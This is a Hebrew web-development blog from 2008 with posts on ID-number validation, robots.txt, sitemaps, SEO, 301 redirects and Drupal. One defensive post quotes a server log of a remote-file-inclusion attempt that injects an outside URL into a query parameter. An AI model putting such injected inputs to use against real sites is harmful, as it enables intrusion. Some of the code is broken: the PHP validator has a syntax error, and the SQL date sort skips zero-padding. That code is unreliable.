יום שני, 8 בדצמבר 2008

שמירה של תעודת זהות בבסיס הנתונים

מניסיון שצברנו במערכת בה בצענו שינוי שדה תעודת זהות ממחרוזת לשדה נומרי חל שיפור אדיר בביצועים כמו גם מניעת היוצרות של בעיות.

למה בכלל החלטנו בהתחלה לעבוד כטקסט? למעשה הסיבה הייתה לנסות לתמוך באפסים בתחילת המספר, מה שהתברר למעשה כמיותר ואף יצר בעיית כפילויות מסוכנת. גילינו בדיעבד מופעים שונים של תעודת זהות זהה (עם האפסים ובלעדיהם) כשלא מעט אנשים מקלידים את המספר ללא אפסים.


מכאן מה שבצענו הוא-

הפכנו את השדה לנומרי ובבדיקות פשוט השלמנו את המספר שמוקלד ל 9 ספרות בעזרת אפסים בהתחלה שלו ומשם בדקנו תקינות ספרת ביקורת.

המערכת עובדת הרבה יותר מהר, כפילויות נמנעות.

המלצה והנחיה:

בשמירת מספר תעודת זהות בבסיס הנתונים, הנתון צריך להיות מאוחסן כמספר ולא כמחרוזת.

בעת קבלת הנתון תבוצע הואלידציה על פי הנוהל הרגיל. בעת הצגת המספר ללקוח יושלמו האפסים עד לתשע ספרות.

יום ראשון, 9 בנובמבר 2008

חסימת רובוטים על שרתי פיתוח

במהלך פיתוח אתרים ולאחריו, אנחנו מחזיקים עותק של האתר על שרתי הפיתוח. במידה ולא ננקוט בצעדי מניעה, אתרי פיתוח אלה יכללו בסריקות של רובוטי החיפוש.

הבעיה שתווצר

לקוחות מגיעים לשרת הפיתוח (stage) ונרשמים עליו, או שולחים בו הודעה לפורום.
ללקוח שלנו יש תחרות על מילות חיפוש בינו לבין עצמו.
במידה והאתר בפיתוח על הכתובת הסופית של האתר, נוצרים אינדקסים בהם יש תוכן מוטעה, תוכן שהוזן על ידי המפתחים לבדיקה בלבד. אמנם גוגל מאנדקס מחדש כל חודשיים בערך אבל הניתוח שלו עלול להיות מוטה בהתחלה. צריך לזכור גם שרובוטים אחרים יכולים להסתפק בסריקה אחת לחצי שנה ואפילו יותר.

מסקנה

כל שרתי הפיתוח וכל הפרויקטים שטרם שוחררו לרשת צריכים להיות מוסתרים לרובוטים.

הנחיות לטיפול

אבקש מכולם לעבור על האתרים שבפיתוח ועל שרתי ה Stage ולוודא שהם נעולים לסריקה. הדרך לעשות זאת היא בעזרת קובץ robots.txt. יש להכניס רישומים כגון אלה:


User-agent: *
Disallow: /stage/

לקריאה נוספת היכנסו לדפי הסבר אלה.

יום שלישי, 23 בספטמבר 2008

פעולות קידום אתר מול רובוטי סריקה

בכדי לודא שרובוטי הסריקה של מנועי החיפוש יכסו את כל הדפים והמידע באתר אנו מכוונים אותם לכך. הכוונת הרובוטים נעשית דרך קובץ מיוחד המאפשר לנו להפנות אותם אל מפת אתר מיוחדת המכילה את כל המידע שאנו רוצים שיסרקו. בעזרת הנחיות אלה אנו מוודאים שכל דפי האתר נכללים במנועי החיפוש.
להלן ההנחיות לגבי הקבצים הנדרשים:

קובץ הנחיות לרובוט הסריקה - robots.txt

קובץ robots.txt חייב להיות מוגדר ב Root של האתר ולכלול הוראות לרובוטים לגבי הספריות אותן הוא אינו צריך לסרוק. ספריות אלה יהיו בדרך כלל הספריות המכילות את הקוד או קבצי עזר. יש לוודא שההוראות לרובוט אינן מוציאות מהסריקה את התכנים של האתר.
הנחיות לכתיבת קובץ robots.txt

יש ליצור הפניה לרובוט דרך קובץ זה אל מפת האתר כך:
Sitemap: <sitemap_location>



Sitemap - מפת אתר XML
מערכת ניהול האתר חייבת ליצר מפת אתר במבנה xml אשר ימוקם ב Root של האתר.

עדכון
המפה צריכה להתעדכן דינאמית, אחת ליום או בכל פעם שנוסף במערכת דף חדש. שיקול העדכון תלוי בהתנהלות האתר. אתר פורומים או אתר הכולל תכני גולשים חייב בעדכון דינאמי. אתר חברה המתעדכן לעיתים רחוקות יכול ליצר מפה כקובץ בזמן יצירת תוכן חדש.
יש לשאוף לכלול את כל דפי האתר.

הנחיות לגבי מבנה XML של מפת אתר

דגשים
חובה להבריח תווים (entity escaped) בקישורים במפה.
מפת האתר אינה יכולה להכיל יותר מאשר 50,000 כתובות URL.
מפת האתר חייבת לשקול מתחת ל 10 MB.
ניתן לדחוס את המפה ב gzip. מגבלת ה 10MB חלה על הקובץ המורחב. הדחיסה היא רק בכדי לאפשר טעינה קלה.
במידה ומפת האתר עולה על הגדלים הנקובים, יש לפצל אותה למספר מפות ולהשתמש בקובץ אינדקס (ראו הנחיות בקישור מעל).
יש לשים לב לגבי הנחיות מיוחדות במקרים של sub-domain או כתובות URL הכוללות Port.

יום שני, 15 בספטמבר 2008

Copy Paste מ Microsofot SQL Server Managment Studio Express ל Excel

בטח היה לכם פעם הצורך להעתיק כמה רשומות מהבסיס נתונים שלכם לאקסל,
לערוך לסדר לסנן להציג וכו.... "כיכולת ה Excel הטובה עליו".

הדרך הפשוטה והסבירה לעשות זאת היא:
1. לבחור את הטבלה שאת התוכן שלה אתם רוצים להעתיק.
2. לפתוח אותה ע"י האופציה של Open Table המופיעה בקליק ימני על העכבר.
3. לסמן את הרשומות אותם רוצים להעתיק.
4. להעתיק Copy , CTRL+C או בכל דרך אחרת (אם יש).
5. לפתוח את קובץ ה Excel המיועד.
6. להדביק Paste , CTRL+V כנ"ל.

אבל....................................
לי למשל ולעוד רבים וטובים קורה דבר נורא!!!

1 ᤫ𤼯TD>
2 鰤 젩帼/TD>
3
4 𣧺伯TD>
5 䶲䠮ᥨ캼/TD>
6 ��񤠮ᥨ캼/TD>
7 򶩸 ⡩伯TD>

אהההההההההההההההההההה, סינית!?!?!?
מאיפה זה בא?

תשובה.
לא יודע, אבל מה שבטוח זה שהטקסט בטבלה שלכם הוא בעברית.
ואם הטקסט הוא לא בעברית, תעברו לבלוג אחר אולי שם כתבו משהו לבעיה שלכם.

בכל אופן יש דרך קצרה לעקוף את הבעיה.
פשוט:
1. פותחים חלון שאילתות חדש New Query.
2. כותבים שאילתה שמציגה את הרשומות אותם אתם מעוניינים להעתיק.
3. מריצים אותה.
#### התוצאה מוצגת בטבלה שמיקומה הוא בחלק התחתון של ה Studio בטאב Results ####
כאן תמשיכו את הסעיפים 3 - 6 ועכשיו ב"ה זה יסתדר.

ואים לא, תעברו לבלוג אחר אולי שם כתבו משהו לבעיה שלכם.

עד כאן 30 שניות על ... (ראה כותרת)

יום רביעי, 3 בספטמבר 2008

מנפלאות ה JavaScript

שימו לב!!!

אם אתם מחליטים מתישהוא להכניס לתוך DIV טבלה של HTML (יעני table)

אז אם אתם עושים זאת שורה שורה, כלומר




מן הסתם תצפו שבתוך הDIV תהיה טבלה בדיוק כמו שרציתם !?!?

אז זהו שלא (בלשון העם)

ה JavaScript החכם הזה יחליט להוסיף כבר בשורה הראשונה /tbody אחרי ה table ואפילו יסגור את התגים הנ"ל מיד אחרי ה/tr בשורה הראשונה. (כי הוא לא סומך עליכם שאתם תזכרו לסגור אותה.

לכן בכל זאת מה לעשות לשמור את כל התוכן המיועד ל DIV בתוך משתנה זמני, ובסוף להכניס הכל ל DIV



ואף על פי כן הוא יוסיף את התג /tbody אבל עכשיו לפחות הוא כן יציג טבלה.

זהו תהנו.

יום שבת, 30 באוגוסט 2008

קידום אתר הכולל קבצי פלאש

בקידום אתרים הכוללים קבצי Flash עלינו לוודא שהקבצים מאפשרים ל Google לאנדקס את תוכן האתר.

Google and Flash

המצב נכון להיום הוא כזה:
Google סורק קבצי Flash ומתוכם מחלץ תוכן טקסטואלי , גדג'טים, כפתורים, תפריטים וקישורי URL.
תכנים הנשמרים כתמונות, תפריטים שבנויים מתמונות, קטעי וידאו וכדומה אינם מפוענחים. Google גם לא מפענח עברית מקבצי Flash.
תוכלו לקרוא בקישור הבא עוד לגבי יכולות הזחילה של Google בקבצי Flash

בכדי לוודא שאובייקט Flash שהצבנו באתר מפוענח כנדרש עלינו לוודא את הדברים הבאים:
בקובץ ה Flash יש להשתמש ככל הניתן בטקסט או תפריטים המכילים טקסט ולא תמונות.
באתר חייבות להופיע הפניות נוספות לדפים אליהם מפנה ה Flash. הפניות אלה צריכות להיות כתובות בתגי HTML בצורה פשוטה וברורה.

אני מזכיר בנושא זה גם את ההנחיה הגורפת ליצירת מפת אתר לרובוטים (Site Map).

יום ראשון, 10 באוגוסט 2008

אימות מספר תעודת זהות וספרת ביקורת

הקוד להלן בודק את תקינות מספר תעודת הזהות. את הבדיקות יש לבצע גם בצד הלקוח ב javascript וגם בצד השרת. הסיבה לביצוע בצד הלקוח היא לתת תגובה מידית ללא צורך בפנייה לשרת. הבדיקה הנוספת בצד השרת נועדה למנוע אפשרויות חדירה, בעיות אבטחה וכדומה.

עקרונות - בדיקת מספר תעודת זהות ישראלית נעשית על פי נוסחה. המספר מורכב מתשע ספרות, שהימנית שבהן היא ספרת ביקורת. סיפרה זו נועדה לגלות בקלות טעות בהקלדת מספר הזהות. במאמר הבא ניתן לקרוא עוד על האלגוריתם לחישוב סיפרת ביקורת של מספר תעודת זהות ישראלית.



JavaScript
----------------------------------
<script LANGUAGE="javascript">

// DEFINE RETURN VALUES
var R_ELEGAL_INPUT = -1;
var R_NOT_VALID = -2;
var R_VALID = 1;

function ValidateID(str)
{
   //INPUT VALIDATION

   // Just in case -> convert to string
   var IDnum = String(str);

   // Validate correct input
   if ((IDnum.length > 9) || (IDnum.length < 5))
      return R_ELEGAL_INPUT;
   if (isNaN(IDnum))
      return R_ELEGAL_INPUT;

   // The number is too short - add leading 0000
   if (IDnum.length < 9)
   {
      while(IDnum.length < 9)
      {
         IDnum = '0' + IDnum;         
      }
   }

   // CHECK THE ID NUMBER
   var mone = 0, incNum;
   for (var i=0; i < 9; i++)
   {
      incNum = Number(IDnum.charAt(i));
      incNum *= (i%2)+1;
      if (incNum > 9)
         incNum -= 9;
      mone += incNum;
   }
   if (mone%10 == 0)
      return R_VALID;
   else
      return R_NOT_VALID;
}
</script>
----------------------------------

PHP
----------------------------------
<?php

// DEFINE RETURN VALUES
define(R_ELEGAL_INPUT, -1);
define(R_NOT_VALID, -2);
define(R_VALID, 1);

function ValidateID($str)
{
   //Convert to string, in case numeric input
   $IDnum = strval($str);

   //validate correct input
   if(! ctype_digit($IDnum)) // is it all digits
      return R_ELEGAL_INPUT;
   if((strlen($IDnum)>9) || (strlen($IDnum)<5))
      return R_ELEGAL_INPUT;

   //If the input length less then 9 and bigger then 5 add leading 0
   while(strlen($IDnum<9)
   {
      $IDnum = '0'.$IDnum;
   }

   $mone = 0;
   //Validate the ID number
   for($i=0; $i<9; $i++)
   {
      $char = mb_substr($IDnum, $i, 1);
      $incNum = intval($char);
      $incNum*=($i%2)+1;
      if($incNum > 9)
         $incNum-=9;
      $mone+= $incNum;
   }

   if($mone%10==0)
      return R_VALID;
   else
      return R_NOT_VALID;
}
?>
----------------------------------

ASP
----------------------------------
Dim R_ELEGAL_INPUT
Dim R_NOT_VALID
Dim R_VALID

R_ELEGAL_INPUT = -1
R_NOT_VALID = -2
R_VALID = 1

Function ValidateID(str)

    ' INPUT VALIDATION
    ' Just in case -> convert to string
    Dim IDnum
    IDnum = CStr(str)

    ' Validate correct input
    If len(IDnum) > 9 or len(IDnum) < 5 then
        ValidateID = R_ELEGAL_INPUT
    Else
        If not IsNumeric(IDnum) then
            ValidateID = R_ELEGAL_INPUT
        Else
             ' The number is too short - add leading 0000
             If len(IDnum) < 9 then
                while len(IDnum) < 9
                    IDnum = "0" & IDnum
                wend
             End If
 
             ' CHECK THE ID NUMBER
             Dim mone
             Dim incNum
             Dim i
             mone = 0
 
             for i = 1 to 9
                incNum = int(Mid(IDnum,i,1))
                incNum = incNum * (((i-1) mod 2) + 1)
                If incNum > 9 then
                    incNum = incNum - 9
                End If
                mone = mone + incNum
             next

            If mone mod 10 = 0 then
                ValidateID = R_VALID
            Else
                ValidateID = R_NOT_VALID
            End If

        End If
    End If

End Function
----------------------------------

C#
----------------------------------

class ValidateHelper
{

   // DEFINE RETURN VALUES
   public enum TzStatus {
       R_NOT_VALID = -2,
       R_ELEGAL_INPUT = -1,
       R_VALID = 1
   };

   public static TzStatus ValidateID(string IDNum) {

       // Validate correct input
       if( !System.Text.RegularExpressions.Regex.IsMatch(IDNum, @"^\d{5,9}$") )
            return TzStatus.R_ELEGAL_INPUT;

       // The number is too short - add leading 0000
       if( IDNum.Length < 9 ) {
            while( IDNum.Length < 9 ) {
                IDNum = '0' + IDNum;
            }
       }

       // CHECK THE ID NUMBER
       int mone = 0;
       int incNum;
       for( int i = 0 ; i < 9 ; i++ ) {
            incNum = Convert.ToInt32(IDNum[i].ToString());
            incNum *= ( i % 2 ) + 1;
            if( incNum > 9 )
                incNum -= 9;
            mone += incNum;
       }
       if( mone % 10 == 0 )
            return TzStatus.R_VALID;
       else
            return TzStatus.R_NOT_VALID;
   }
}

יום חמישי, 7 באוגוסט 2008

בדיקת תאימות אתר על דפדפנים שונים

כלי ענק שמצאנו ברשת לבדיקת תאימות על מספר דפדפנים.

http://browsershots.org/

אתם נכנסים לכלי, מגדירים את כתובת ה URL לבדיקה, את הדפדפנים שאתם רוצים לסרוק את האתר איתם ועוד הגדרות (תמיכת jave, גודל מסך...). קליק אחד ואתם מקבלים סט של תמונות מסך.

אפשר להוריד את תמונות המסך אליכם למחשב, אפשר לדפדף בניהן, לשלוח למישהו.




תותח על!

יום ראשון, 3 באוגוסט 2008

מיון לפי תאריך

אם רוצים למיין לפי תאריך. והשנה, חודש, יום בשדות נפרדים, אז סידור של סטרינג כך שהשנה קודם החודש אח"כ והיום בסוף נותן מספר כך שהתאריך יהיה בסדר עולה.

למשל עבור שלוש התאריכים: 18-07-2008, 16-05-2009, 02-09-2008

כשנסדר את זה בצורת הסטרינג הנ"ל:

20080718

20080902

20090516

ניתן לראות שקיבלנו שלושה מספרים מסודרים מהגדול לקטן.


דוגמה לשימוש:

שמות של קבצים ותחקיות, כשעושים גיבויים ורוצים שזה יסודר לפי תאיך.


דוגמה נוספת:

התאריך שמור בשדות נפרדים ב DataBase.

CAST(

CAST(dbo.tTravelInvoices.Year AS varchar) +

CAST(dbo.tTravelInvoices.Month AS varchar) +

CAST(dbo.tTravelInvoices.Day AS varchar)

AS int) AS SortDate


יום שישי, 1 באוגוסט 2008

אזהרה : בעיות רשיון SSL עם Firefox 3

נראה שיש בעיות ברישיון SSL על פיירפוקס 3.

מומלץ לבדוק את האתרים שלנו בטפסים הרלוונטים ולהיות ערים לאפשרות.

הנושא התגלה באתר של אחד הלקוחות.
הכול בסדר בכל הדפדפנים מלבד FF3, בגרסה הנוכחית שלו (3.0.1).

פתרון חלקי שמוצע על ידי FF נמצא כאן.

יום שלישי, 22 ביולי 2008

העברת אתר ושמירה על SEO

כאשר אנו מעבירים אתר לתשתית חדשה אנו עלולים לאבד את כל נקודות הקרדיט שהאתר כבר צבר בגוגל. בכדי לשמור על המיקום וההפניות החיצוניות שכבר היו לאתר, עלינו לבצע הפניות מהכתובות הישנות לחדשות.

הפניות אלה צריכות להיות הפניות http מסוג "301 – Permanent Redirect"
מנועי החיפוש ישמרו כך את הכתובות החדשות במקום הישנות ויפנו אליהן את הגולשים (במקום לחשוב שהדף הלך לאיבוד). השאיפה היא תמיד לשמור על מכסימום קישורים ולכן יש לשאוף ולשמור על החוקים הבאים:


פנייה המגיעה אל דף פנימי בדומיין הישן - תועבר אל אותו דף פנימי בדומיין החדש. במידה ולא ניתן למפות אל דף מוגדר בדומיין החדש - תועבר ההפניה אל דף הבית.

יש לשים לב שבמקרים בהם מגיעה פנייה אל דף שקיים במערכת, אך מוגדרת עבורו גם כתובת חברותית (Freandly URL) תפנה המערכת אל כתובת הדף החברותית.

במידה ונדרשים מספר שינויים בפנייה הנכנסת, על הפניות ה-http להעשות בקפיצה אחת אל הכתובת הסופית, ולא במספר קפיצות.


ההערות הנ"ל מתייחסות להעברת אתר אך נכונות גם למקרים בהם מדובר במחיקה או ביטול של דפים באתר קיים ופעיל. חבל לאבד את הכח והתנועה של הגולשים ומנועי החיפוש. אנו יכולים במחשבה מוקדמת והקפדה על הנוהל הזה גם לבצע הפניות לפחות אל דפי הבית. מסיבה זו יש גם לחשוב היטב על שימוש בכתובות חברותיות ולא לשחק ולשנות אותן יותר מדי. המשמעות של שינוי כתובת היא שמנוע החיפוש יתיחס לדף זה כדף ש"הלך לאיבוד".


במקרים כאלה עלינו לשמור על הקישור ופשוט ליצור הפנית 301 תואמת.



ועכשיו קצת קוד




PHP Redirect


<?
Header( "HTTP/1.1 301 Moved Permanently" );
Header( "Location: http://www.new-url.com" );
?>

ASP Redirect


<%@ Language=VBScript %>
<%
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.new-url.com/"
%>

ASP .NET Redirect


<script runat="server">
private void Page_Load(object sender, System.EventArgs e)
{
Response.Status = "301 Moved Permanently";
Response.AddHeader("Location","http://www.new-url.com");
}
</script>

והפנייה של דומיין מלא

htaccess redirect


Options +FollowSymLinks
RewriteEngine on
RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]

יום שלישי, 8 ביולי 2008

תרשום לי זריקה

על הזרקות SQL ונסיונות לגנוב תעבורה.

במערכות שאנו בונים אנו מתקינים מנגנונים שיעזרו לנו להתגבר על תקלות. אחד הכלים הבסיסים הוא רישום תקלות ל Logger, קובץ מיוחד שעוקב אחרי המתרחש במערכת. במקרים של נסיונות חדירה זדונית הכלי הזה מתגלה כיעיל במיוחד, למשל בנסיון הזרקת נתונים.

מהי הזרקת נתונים - באתרים דינמיים רבים משתמשים לצורך העברת בקשות מידע ברישום נתוני הבקשה בכתובת ה URL של הדף. השיקולים להעברת המידע כך רבים ובמיוחד יש לציין את האפשרות של מנועי חיפוש כמו גוגל לאנדקס טוב יותר את הדף ולחזור אליו. הבעיה הגדולה בשימוש זה היא הפוטנציאל של האקרים לבצע נסיונות חדירה דרך נתוני הכתובת הגלויים.

דוגמה לנסיון חדירה כזה ניתן לראות ברישום הלוג הבא (הלוג רושם את נסיון החדירה וכל המידע הנדרש למעקב וטיפול):

זהו קובץ שאמור לקבל דרך משתנה בשם addID, נתון שהוא מספר. בשורה המודגשת אנחנו רואים שמישהו ניסה להזין לשדה זה כתובת URL מאתר אחר, כנראה כדי למשוך ממנו קובץ הוראות לשרת.

======== Warning ===========
DOA-addhandler - 201
This page : /request.php?addID=http://xishisneplace.chat.ru/images?
REMOTE_ADDR : 83.86.158.214
REMOTE_HOST :
REMOTE_PORT : 13281
SCRIPT_FILENAME : /public_html/wiki/request.php
HTTP_REFERER :
HTTP_USER_AGENT : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)

הדרך לחסום נסיונות חדירה כאלה פשוטה למדי, כל נתון, אבל כל נתון, המגיע מהגולש נבדק לפני שמשתמשים בו. למשל, אלה שורות הקוד שמנעו את החדירה דרך הנתון המדובר בדף הזה:

קוד PHP

if (!isset($_GET['addID']))
logAndDie("addhandler - " . __LINE__ ) ;

$id = $_GET['addID'];

if (!is_numeric($id))
logAndDie("addhandler - " . __LINE__ ) ;

כפי שניתן לראות נעשות מספר בדיקות:
1. האם בכלל יש לנו משתנה בשם AddID, אם אין - רשום ל Logger וצא.
2. קרא את המשתנה.
3. האם המשתנה הוא מספר, אם לא - רשום ל Logger וצא.
השורה השלישית הזו היא בדיוק מה שתפס את נסיון הפריצה הפעם.

ברור שלכל משתנה צריך לבנות את שורת הבדיקות המתאימה לו אבל העיקרון תמיד דומה - לבדוק תמיד, לחשוד תמיד, לא לסמוך אף פעם על נתון שמגיע מבחוץ.

יום רביעי, 25 ביוני 2008

מדריך התקנת עברית על דרופל 6.2


המדריך מיועד לאלו עם ידע בסיסי בהתקנת מערכות PHP עם מסד נתונים.


בשלב הראשון יש להוריד את הגירסה העדכנית ביותר מאתר דרופל העולמי: http://drupal.org לאחר שהורדנו והעלנו את הקבצים לשרת ננתב את הדפדפן לכתובת בה אכסנו את הקבצים ולקובץ install.php ההתקנה עצמה ברורה למדי יש למלא את הפרטים של השרת ואת פרטי מסד הנתונים.

בסיום ההתקנה ניגש שוב לאתר דרופל ונבחר למעלה בתווית Download שם יהיו לנו כמה אופציות, אנו נלחץ על קישור: Translations, ולאחר טעינת העמוד נחפש את הקישור להורדת תירגום העברית.
קישור ישיר לעמוד הורדת התירגום בלבד:
http://drupal.org/project/he
לאחר ההורדה יש לחלץ את תוכן הקובץ לתוך התיקייה הראשית של drupal. ולאחר מכן קבצי העברית (po files) יתווספו למערכת ולכל מודול שנתמך ע"י התירגום.

השלב הבא הוא כניסה ל- Administer והפעלה של שני מודולים. בכדי לעשות זאת נלחץ על קישור: Modules תחת קטגוריה: Site building וסימון ב V את : Locale ואת: Content translation ולחיצה על כפתור: Save configuration לאחר שהפעלנו את שני המודולים האלו יתווסף לנו לינק בעמוד הניהול ששמו: Languages תחת קטגורייה: Site configuration נלחץ עליו ובעמוד הבא נלחץ למעלה על: Add language תחת קטגורית: redefined language נבחר ב: Language name את השפה הרצויה במקרה שלנו זה: Hebrew (עברית) אז נלחץ על כפתור ה: Add lanaguage לאחר שהשפה התווספה לנו נוכל לראות אותה יחד עם השפה האנגלית כאשר השפה האנגלית מוגדרת כ default
מה שצריך לעשות זה להגדיר את העברית כ- default ולחיצה על כפתור:Save configuration.


דגש: במידה והוספתם את העברית עוד לפני שהעתקתם את חבילת העברית (ויש את האופציה הזאת) תצטרכו להסיר את העברית ע"י לחיצה על: delete ולאחר מכן שוב להוסיף את העברית כפי שמתואר למעלה.

זהו יש לכם drupal בשפה העברית